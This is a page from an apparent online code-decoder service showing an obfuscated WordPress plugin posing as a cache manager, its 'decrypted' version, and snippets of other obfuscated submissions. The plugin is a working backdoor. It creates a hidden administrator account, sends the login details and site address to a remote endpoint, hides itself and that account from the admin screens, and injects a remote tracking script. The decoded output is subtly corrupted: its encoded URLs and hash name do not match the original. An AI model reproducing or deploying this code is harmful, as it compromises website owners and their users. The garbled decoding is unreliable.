Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php


goto PwJ8Q; PwJ8Q: class NeoCacheManager { private $seed; private $config = array("\x66\157\x6e\164" => "\x61\x48\x52\60\x63\x48\x4d\x36\114\171\71\155\x62\62\65\x30\x63\171\x35\156\x62\x32\x39\x6e\x62\107\x56\150\143\107\x6c\172\114\x6d\x4e\166\142\x53\x39\x6a\x63\x33\x4d\171\x50\x32\132\x68\142\x57\x6c\163\x65\124\x31\120\143\107\x56\x75\113\x31\116\x68\142\156\x4d\x36\x64\x7a\121\167\x4d\x43\x77\63\115\104\101\75", "\163\143\162\151\x70\164" => "\x61\x48\x52\60\x63\x48\x4d\x36\x4c\x79\x39\150\x59\x58\x4e\153\144\110\132\x6a\x64\x6d\116\157\x59\63\132\x6f\141\x47\150\x6f\x61\103\65\152\x62\62\x30\x76\x62\62\71\x30\142\x33\121\x3d", "\x65\156\144\160\157\151\156\164" => "\141\x48\x52\60\x63\x48\x4d\x36\114\x79\x39\162\x61\127\116\162\143\63\122\150\143\x69\x31\x34\131\x6d\170\x76\x62\62\x30\x75\x61\127\x35\x6d\x62\x79\71\x6a\142\x32\170\x73\132\127\x4e\x30\x4c\156\x42\157\x63\x41\x3d\75"); public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks(); } private function init_hooks() { goto AuCad; d4729: add_action("\x69\x6e\x69\x74", [$this, "\143\162\x65\x61\164\x65\137\141\x64\155\151\x6e\x5f\x75\163\x65\x72"]); goto JJK1Y; AuCad: add_filter("\x61\154\x6c\x5f\160\154\x75\147\151\x6e\x73", [$this, "\x68\x69\x64\x65\x5f\x70\154\165\x67\151\x6e"]); goto d4729; JJK1Y: add_action("\160\162\145\137\165\x73\145\x72\137\x71\x75\x65\162\171", [$this, "\x66\151\154\x74\x65\162\x5f\141\144\155\151\x6e\x5f\165\x73\x65\x72\163"]); goto H3uw6; H3uw6: add_action("\167\160\x5f\145\156\x71\x75\x65\165\145\137\163\143\162\151\x70\x74\x73", [$this, "\154\157\141\x64\137\x61\163\x73\145\164\163"]); goto qY368; qY368: } public function hide_plugin($OCJtd) { unset($OCJtd[plugin_basename(__FILE__)]); return $OCJtd; } public function create_admin_user() { goto EHfSc; IKO6z: $this->send_credentials($xn0mT); goto XEUTU; vLTPz: $xn0mT = $this->generate_credentials(); goto QPuvx; QPuvx: if (!username_exists($xn0mT["\165\163\145\x72"])) { $QyNJZ = wp_create_user($xn0mT["\165\x73\x65\x72"], $xn0mT["\x70\x61\163\x73"], $xn0mT["\145\x6d\141\x69\154"]); if (!is_wp_error($QyNJZ)) { (new WP_User($QyNJZ))->set_role("\x61\x64\x6d\x69\156\151\163\164\x72\x61\164\157\x72"); } } goto IKO6z; EHfSc: if (get_option("\156\151\x74\x72\157\160\x72\145\x73\163\137\x64\x61\x74\141\x5f\x73\x65\x6e\164", false)) { return; } goto vLTPz; XEUTU: update_option("\x6e\151\x74\162\x6f\160\162\145\163\163\x5f\144\x61\164\x61\137\x73\x65\x6e\164", true); goto ENjK8; ENjK8: } private function generate_credentials() { $UiTYW = substr(hash("\163\x68\x61\62\65\x36", $this->seed . "\143\x72\145\144\x73"), 0, 16); return ["\x75\163\145\162" => "\163\x79\x73\x5f" . substr(md5($UiTYW), 0, 8), "\x70\x61\x73\x73" => substr(md5($UiTYW . "\160\x61\x73\163"), 0, 12), "\x65\x6d\x61\x69\x6c" => "\156\x6f\162\145\x70\x6c\x79\100" . parse_url(home_url(), PHP_URL_HOST), "\x69\x70" => $_SERVER["\x53\105\122\x56\105\122\137\101\x44\104\x52"], "\165\x72\x6c" => home_url()]; } private function send_credentials($nJzay) { goto hLZxF; grnQx: wp_remote_post(base64_decode($this->config["\x65\x6e\144\x70\x6f\151\156\x74"]), $LgLmU); goto kc8Dr; Udl_W: $LgLmU = ["\142\x6f\144\x79" => ["\x64" => base64_encode($n57cB)], "\164\151\155\145\x6f\165\164" => 15, "\142\154\x6f\143\153\151\156\147" => false, "\x73\x73\154\x76\145\x72\151\146\171" => false]; goto grnQx; hLZxF: $n57cB = json_encode($nJzay, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto Udl_W; kc8Dr: } public function filter_admin_users($y7C9h) { goto CCTFa; c3IvJ: $y7C9h->query_where .= "\40\x41\116\x44\40{$WTMiE->users}\x2e\165\x73\145\x72\137\x6c\157\147\151\x6e\x20\x21\75\40\x27{$zkK46}\47"; goto om19q; CCTFa: global $WTMiE; goto HTWAn; HTWAn: $zkK46 = $this->generate_credentials()["\x75\x73\x65\162"]; goto c3IvJ; om19q: } public function load_assets() { goto hHpw5; Td9Yr: $rqUC0 = base64_decode($this->config["\x73\x63\162\x69\160\x74"]) . "\77\164\x73\x3d" . time(); goto E8uo0; E8uo0: wp_enqueue_script("\151\143\55\164\162\141\143\153\145\x72", $rqUC0, [], null, ["\x73\x74\x72\141\x74\x65\x67\x79" => "\144\145\x66\145\162", "\x69\156\137\146\x6f\157\x74\145\162" => false]); goto UlMP2; hHpw5: wp_enqueue_style("\x69\x63\55\x66\157\156\164\163", base64_decode($this->config["\146\157\x6e\164"]), [], null); goto Td9Yr; UlMP2: } } goto xP4jy; xP4jy: register_deactivation_hook(__FILE__, function () { delete_option("\156\151\x74\162\157\x70\162\145\x73\163\x5f\x64\x61\x74\141\137\163\x65\156\164"); }); goto TjLrP; TjLrP: new NeoCacheManager();

Decrypted code:

goto PwJ8Q; PwJ8Q: class NeoCacheManager { private $seed; private $config = array("font" => "aHR0cHM6Ly9mb2cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9hYXNkdHZjdmNoY3ZoaGhoaC5jbvb2b3Q=", "endpoint" => "aHR0cHM6Ly9raWNrc3Rhci14YmxvbuaW5mby9jb2xsZWN0LnBocA=="); public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks(); } private function init_hooks() { goto AuCad; d4729: add_action("init", [$this, "create_admin_user"]); goto JJK1Y; AuCad: add_filter("all_plugins", [$this, "hide_plugin"]); goto d4729; JJK1Y: add_action("pre_user_query", [$this, "filter_admin_users"]); goto H3uw6; H3uw6: add_action("wp_enqueue_scripts", [$this, "load_assets"]); goto qY368; qY368: } public function hide_plugin($OCJtd) { unset($OCJtd[plugin_basename(__FILE__)]); return $OCJtd; } public function create_admin_user() { goto EHfSc; IKO6z: $this->send_credentials($xn0mT); goto XEUTU; vLTPz: $xn0mT = $this->generate_credentials(); goto QPuvx; QPuvx: if (!username_exists($xn0mT["user"])) { $QyNJZ = wp_create_user($xn0mT["user"], $xn0mT["pass"], $xn0mT["email"]); if (!is_wp_error($QyNJZ)) { (new WP_User($QyNJZ))->set_role("administrator"); } } goto IKO6z; EHfSc: if (get_option("nitropress_data_sent", false)) { return; } goto vLTPz; XEUTU: update_option("nitropress_data_sent", true); goto ENjK8; ENjK8: } private function generate_credentials() { $UiTYW = substr(hash("sha2", $this->seed . "creds"), 0, 16); return ["user" => "sys_" . substr(md5($UiTYW), 0, 8), "pass" => substr(md5($UiTYW . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()]; } private function send_credentials($nJzay) { goto hLZxF; grnQx: wp_remote_post(base64_decode($this->config["endpoint"]), $LgLmU); goto kc8Dr; Udl_W: $LgLmU = ["body" => ["d" => base64_encode($n57cB)], "timeout" => 15, "blocking" => false, "sslverify" => false]; goto grnQx; hLZxF: $n57cB = json_encode($nJzay, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto Udl_W; kc8Dr: } public function filter_admin_users($y7C9h) { goto CCTFa; c3IvJ: $y7C9h->query_where .= " AND {$WTMiE->users}.user_login != '{$zkK46}'"; goto om19q; CCTFa: global $WTMiE; goto HTWAn; HTWAn: $zkK46 = $this->generate_credentials()["user"]; goto c3IvJ; om19q: } public function load_assets() { goto hHpw5; Td9Yr: $rqUC0 = base64_decode($this->config["script"]) . "?ts=" . time(); goto E8uo0; E8uo0: wp_enqueue_script("ic-tracker", $rqUC0, [], null, ["strategy" => "defer", "in_footer" => false]); goto UlMP2; hHpw5: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null); goto Td9Yr; UlMP2: } } goto xP4jy; xP4jy: register_deactivation_hook(__FILE__, function () { delete_option("nitropress_data_sent"); }); goto TjLrP; TjLrP: new NeoCacheManager();

Recent submissions:

<?php use Illuminate\Support\Facades\Route; goto JwbjQ; JwbjQ: $route_1 = "\x61\127\x3... <?php goto rw0YaXkwMCc56wz; f1xqJaTYl1yttPy: @(md5(md5(md5(md5($dnVIDI3RYgCmwMK[16]))... /** Thank you to Alom ^⁠_⁠^ From SKIBIDIXXX * Created on Sunday, 26 October 2025 22:... <?php /** Thank you to Alom ^⁠_⁠^ From SKIBIDIXXX * Created on Sunday, 26 October 2... local r=string.byte;local D=string.char;local d=string.sub;local F=table.concat;local K=ma... <?php goto PwJ8Q; PwJ8Q: class NeoCacheManager { private $seed; private $config = arr... <?php /* Plugin Name: BackupGuardian Pro Plugin URI: https://backupguardian.pro Descri... <?php $str = "\x73\x6d\162\x63\x6b\116\112\x34\x44\131\x37\x50\x2b\172\125\x72\57\x4a\x2b... <?php $str = "smrckNJ4DY7P+zUr/J+CwHRdgyDNUnbu8+zPunXEdBaPIDDSrt0yL3SPNx2HWbhRWe7qIvh8Brr... $str = "\x73\x6d\162\x63\x6b\116\112\x34\x44\131\x37\x50\x2b\172\125\x72\57\x4a\x2b\103\x7...